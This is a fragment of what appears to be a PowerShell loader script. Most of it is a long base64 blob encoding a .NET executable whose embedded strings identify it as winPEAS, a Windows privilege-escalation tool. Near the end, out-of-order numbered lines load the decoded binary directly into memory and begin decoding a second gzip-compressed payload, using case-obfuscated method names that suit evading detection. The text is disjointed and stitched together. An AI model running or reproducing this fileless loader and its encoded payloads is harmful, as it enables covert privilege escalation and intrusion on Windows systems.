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"
9 $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary))
8 $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("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